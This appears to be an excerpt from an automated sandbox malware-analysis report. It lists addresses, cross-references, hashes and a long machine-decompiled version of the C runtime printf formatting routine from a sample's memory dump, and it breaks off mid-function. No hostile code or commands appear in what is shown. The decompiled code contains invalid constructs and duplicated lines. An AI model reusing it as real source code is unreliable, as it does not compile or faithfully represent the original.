0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b95c06
0x00b95c0d
0x00000000
0x00000000
0x00b95c0f
0x00b95c0f
0x00000000
0x00b95c0f
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b9550a
0x00b95510
0x00b95530
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00000000
0x00b95532

APIs

_get_int_arg.LIBCMTD ref: 00B9544B
__get_printf_count_output.LIBCMTD ref: 00B95459
__invalid_parameter.LIBCMTD ref: 00B954E0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B954F5
_write_multi_char.LIBCMTD ref: 00B95A6E
_write_string.LIBCMTD ref: 00B95A89
_write_multi_char.LIBCMTD ref: 00B95AB5
_wctomb_s.LIBCMTD ref: 00B95B32

Strings

_output_s_l, xrefs: 00B94DDE, 00B954D6
-, xrefs: 00B95A0E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B94DA9, 00B94DD9, 00B954A1, 00B954D1
("'n' format specifier disabled", 0), xrefs: 00B95495, 00B954DB
("Incorrect format specifier", 0), xrefs: 00B94D9D, 00B94DE3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: ec3d0c025527b6ab16467f3ac26934ecf9c98518cf8526f86492d41c224aaeae
Instruction ID: 8c8886b95aaaa97ec921265afc2f8fe234d284ffc766c771086e5c60066aaf34
Opcode Fuzzy Hash: ec3d0c025527b6ab16467f3ac26934ecf9c98518cf8526f86492d41c224aaeae
Instruction Fuzzy Hash: 22A168B09856288BDF35DF54CC89BEEB7F1EB48304F2481E9E4196A291E7709E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B967BA Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B967BA(void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t482 = E00B93D50(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00B97280() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L00B7D760();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E00B971B0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E00B971F0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E00B971B0(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E00B971F0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E00B7C680(_t600 - 0x40);
									_t523 = E00B90E50(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E00B97150( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E00B971B0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L00B7EB20( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0xb77b78) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0xb77b78) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M00B97044))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E00B97150( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0xb97110; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M00B970D4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00B93D50(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0xd121a0; // 0xb775a0
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E00B7C680(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0xd12188; // 0xddc09d6c
															E00B849C0(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0xd12194; // 0xddc09d6c
																	E00B849C0(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0xd12190; // 0xddc09d6c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00B93D50(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E00B7C680(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00B7C680(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0xd121a4; // 0xb77590
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
